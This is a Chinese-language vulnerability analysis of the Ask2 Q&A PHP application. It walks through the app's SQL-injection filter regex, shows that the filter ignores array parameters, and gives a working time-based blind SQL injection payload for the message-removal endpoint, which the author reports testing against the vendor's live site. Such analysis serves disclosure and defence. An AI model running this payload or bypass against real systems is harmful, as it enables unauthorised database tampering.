Date: 2016-11-07 19:48
首先我们看一下全局防注入机制,在/model/sowenda.class.php中第32行:
$querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
$pos = strrpos($querystring, '.');
if ($pos !== false) {
$querystring = substr($querystring, 0, $pos);
}
/* 处理简短url */
$pos = strpos($querystring, '-');
$pos2 = strpos($querystring, '=');
($pos !== false) && $querystring = urlmap($querystring);
($pos2 !== false) && $querystring = urlmap($querystring);
$andpos = strpos($querystring, "&");
$andpos && $querystring = substr($querystring, 0, $andpos);
$this->get = explode('/', $querystring);
if (empty($this->get[0])) {
$this->get[0] = 'index';
}
if (empty($this->get[1])) {
$this->get[1] = 'default';
}
if (count($this->get) < 2) {
exit(' Access Denied !');
}
unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, 'post');
checkattack($this->get, 'get');
unset($_POST);
可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数:
在/lib/global.func.php中第324行:
function taddslashes($string, $force = 0) {
if (!MAGIC_QUOTES_GPC || $force) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = taddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:
checkattack($this->post, 'post');
checkattack($this->get, 'get');
将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:
function checkattack($reqarr, $reqtype = 'post') {
$filtertable = array(
'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'
);
foreach ($reqarr as $reqkey => $reqvalue) {
if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {
print('Illegal operation!');
exit(-1);
}
}
}
可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞我们可以绕过它。
看一下漏洞触发点:
在/control/message.php中第84行:
function onremove() {
if (isset($this->post['submit'])) {
$inbox = $this->post['messageid']['inbox'];
$outbox = $this->post['messageid']['outbox'];
if ($inbox)
$_ENV['message']->remove("inbox", $inbox);
if ($outbox)
$_ENV['message']->remove("outbox", $outbox);
$this->message("消息删除成功!", get_url_source());
}
}
可以看到这里的有两个变量是我们可控的,$inbox和$outbox。
我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数:
在/model/message.class.php中第91行:
function remove($type, $msgids) {
$messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
if ('inbox' == $type) {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
} else {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
}
}
可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。
我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。
那么我们仔细看一下我们可控的这两个变量:
$inbox = $this->post['messageid']['inbox'];
$outbox = $this->post['messageid']['outbox'];
可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。
漏洞利用方式:
我们直接去官网进行测试:
http://www.ask2.cn/
先在官网注册登录一个账号,然后访问如下payload:
http://www.ask2.cn/message/remove.html
POST: submit=2&messageid[inbox]=-1,if(1=1,sleep(1),0)
看到成功延时: